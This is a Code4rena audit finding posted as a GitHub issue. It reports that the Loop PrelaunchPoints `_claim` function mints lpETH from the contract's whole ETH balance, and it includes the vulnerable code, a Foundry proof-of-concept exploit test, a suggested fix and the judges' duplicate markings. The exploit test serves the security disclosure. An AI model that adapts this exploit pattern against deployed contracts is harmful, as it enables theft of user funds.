code-423n4 / 2024-05-loop-findings

4 stars 4 forks source link

Users could claim any amount of `lpETH` without locking a corresponding amount of tokens #58

Closed howlbot-integration[bot] closed 4 months ago

howlbot-integration[bot] commented 4 months ago

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L262

Vulnerability details

Impact

Users could claim any amount of lpETH by locking only 1 wei worth of tokens in the contract, which breaks the core functionality of the contract.

Proof of Concept

The _claim function uses the current ETH balance of this contract to claim lpETH for the _receiver. However, any user with any amount of staked tokens could transfer some ETH to this contract to obtain any desired amount of lpETH. The only restriction is that balances[msg.sender][_token] should not be zero. For instance, a user could lock only 1 wei of LRTToken and then claim 1 ether of lpETH by transferring ETH to this contract before calling claim.

    function _claim(address _token, address _receiver, uint8 _percentage, Exchange _exchange, bytes calldata _data)
        internal
        returns (uint256 claimedAmount)
    {
        uint256 userStake = balances[msg.sender][_token];
        if (userStake == 0) {
            revert NothingToClaim();
        }
        if (_token == ETH) {
            claimedAmount = userStake.mulDiv(totalLpETH, totalSupply);
            balances[msg.sender][_token] = 0;
            lpETH.safeTransfer(_receiver, claimedAmount);
        } else {
            uint256 userClaim = userStake * _percentage / 100;
            _validateData(_token, userClaim, _exchange, _data);
            balances[msg.sender][_token] = userStake - userClaim;

            // At this point there should not be any ETH in the contract
            // Swap token to ETH
            _fillQuote(IERC20(_token), userClaim, _data);

            // Convert swapped ETH to lpETH (1 to 1 conversion)
        //@audit it use the ETH of this to claim lpETH,
        //@audit which should be the diff value in `fillQuote`
            claimedAmount = address(this).balance;
            lpETH.deposit{value: claimedAmount}(_receiver);
        }
        emit Claimed(msg.sender, _token, claimedAmount);
    }

POC

Add the test to test/PrelaunchPointsTest.sol and run it with forge test --match-test testClaimLRT -vv.

    function testClaimLRT() public {
        // user only needs to lock 1 wei LRT, then he could cliam any amount he want
        uint256 lockAmount = 1;
        lrt.approve(address(prelaunchPoints), lockAmount);
        prelaunchPoints.lock(address(lrt), lockAmount, referral);

        prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));
        vm.warp(prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1);
        prelaunchPoints.convertAllETH();

        vm.warp(prelaunchPoints.startClaimDate() + 1);
        bytes4 y =  bytes4(0x415565b0);
        bytes memory da = abi.encodeWithSelector(y, address(lrt), (ETH), 0);
        // user deposit eth to this and call claim to get lp
        address(prelaunchPoints).call{value: 1 ether}("");
        prelaunchPoints.claim(address(lrt), 0, PrelaunchPoints.Exchange.TransformERC20, da);        

        console.log("lp get : ",lpETH.balanceOf(address(this)));
    }

Tools Used

Foundry

Recommended Mitigation Steps

Use the boughtETHAmount in the _fillQuote function to determine the amount of lpETH the user should receive.

Assessed type

Context

c4-judge commented 4 months ago

koolexcrypto marked the issue as duplicate of #6

c4-judge commented 3 months ago

koolexcrypto marked the issue as duplicate of #33

c4-judge commented 3 months ago

koolexcrypto marked the issue as satisfactory